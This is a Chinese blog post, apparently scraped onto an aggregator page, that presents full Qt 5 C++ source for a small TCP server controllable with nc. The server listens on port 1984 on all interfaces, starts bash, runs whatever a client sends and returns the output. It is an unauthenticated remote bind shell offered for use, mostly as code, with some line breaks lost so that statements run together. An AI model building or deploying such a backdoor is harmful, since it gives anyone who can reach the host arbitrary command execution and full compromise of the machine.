当前位置: 首页 > news >正文

随手写的小程序2 一个nc能控制的程序

小程序源代码 下载: https://download.csdn.net/download/nn_84/88846445?spm=1001.2014.3001.5501

请下载 Qt 5.12.12

server.pro :

QT += gui networkCONFIG += c++11 console
CONFIG -= app_bundle# You can make your code fail to compile if it uses deprecated APIs.
# In order to do so, uncomment the following line.
#DEFINES += QT_DISABLE_DEPRECATED_BEFORE=0x060000    # disables all the APIs deprecated before Qt 6.0.0SOURCES += \main.cpp \mythread.cpp \server.cpp# Default rules for deployment.
qnx: target.path = /tmp/$${TARGET}/bin
else: unix:!android: target.path = /opt/$${TARGET}/bin
!isEmpty(target.path): INSTALLS += targetHEADERS += \mythread.h \server.h

mythread.h :

#ifndef MYTHREAD_H
#define MYTHREAD_H#include <QThread>
#include <QTcpSocket>
#include <QDebug>
#include <QProcess>class myThread : public QThread
{Q_OBJECT
public:myThread(qintptr ID,QObject *parent = 0);qintptr sockethandle;QTcpSocket *socket;void run();QProcess *process;public slots:void readyRead();void disconnected();void fun();
};#endif // MYTHREAD_H

server.h :

#ifndef SERVER_H
#define SERVER_H#include <QTcpServer>
#include "mythread.h"class Server : public QTcpServer
{
public:Server();void startServer();protected:void incomingConnection(qintptr handle);
};#endif // SERVER_H

mythread.cpp :

#include "mythread.h"myThread::myThread(qintptr ID,QObject *parent):QThread(parent)
{sockethandle = ID;process = new QProcess(this);connect(process,SIGNAL(readyReadStandardOutput()),this,SLOT(fun()));
}void myThread::run()
{qDebug() << sockethandle;socket = new QTcpSocket(this);socket->setSocketDescriptor(sockethandle);connect(socket,SIGNAL(readyRead()),this,SLOT(readyRead()));connect(socket,SIGNAL(disconnected()),this,SLOT(disconnected()));exec();
}void myThread::readyRead()
{QByteArray data = socket->readAll();qDebug() << data;process->start("bash");process->write(data);
}void myThread::disconnected()
{socket->deleteLater();exit(0);
}void myThread::fun()
{socket->write(process->readAllStandardOutput().data());
}

server.cpp :

#include "server.h"Server::Server()
{}void Server::incomingConnection(qintptr handle)
{myThread *thread = new myThread(handle);thread->start();
}void Server::startServer()
{if(this->listen(QHostAddress::Any,1984)){qDebug() << "Listen ...";}
}

main.cpp :

#include <QCoreApplication>
#include "server.h"int main(int argc, char *argv[])
{QCoreApplication a(argc, argv);Server ser;ser.startServer();return a.exec();
}

http://www.lryc.cn/news/304523.html

相关文章:

  • Android中通过属性动画实现文字轮播效果
  • 最长的回文串
  • 2023 H1 中国边缘公有云服务市场 Top2,百度智能云加速推动分布式云智能化升级
  • Emlog博客网站快速搭建并结合内网穿透实现远程访问本地站点
  • 力扣经典题目解析--旋转图像(字节二面)
  • 【ARMv8M Cortex-M33 系列 8.1 -- RT-Thread 堆内存 检查命令 free 实现及介绍】
  • milvus Delete API流程源码分析
  • CentOS使用Docker搭建Halo网站并实现无公网ip远程访问
  • 【JVM】垃圾回收算法
  • 如何和将原始request的Header中的值传递给openfeign请求的Header? 以及又如何获取openfeign请求中Header中的值
  • Flink 侧输出流(SideOutput)
  • C语言中关于#include的一些小知识
  • DSP芯片 机器码下载方法 【主要 “扯” 用Uniflash下载的方法】
  • 速盾网络:CDN用几天关了可以吗?安全吗?
  • MR混合现实情景实训教学系统在高空作业课堂中的应用
  • Windows系统中定时执行python脚本
  • HashMap 源码学习-jdk1.8
  • WebStorm 2023:让您更接近理想的开发环境 mac/win版
  • java面试题:数字与字母的映射表
  • Jmeter教程-JMeter 环境安装及配置
  • 十大基础排序算法
  • IP协议及相关技术协议
  • 小红书x-s算法及补环境 单旋转验证码
  • 代码检测规范和git提交规范
  • Elasticsearch:什么是搜索引擎?
  • 人工智能几个关键节点:深蓝,AlphaGo,ChatGPT,Sora
  • WordPres Bricks Builder 前台RCE漏洞复现(CVE-2024-25600)
  • 代码随想录算法训练营总结 | 慢慢总结,想起啥就先写上
  • 基于开源模型对文本和音频进行情感分析
  • SQL中为什么不要使用1=1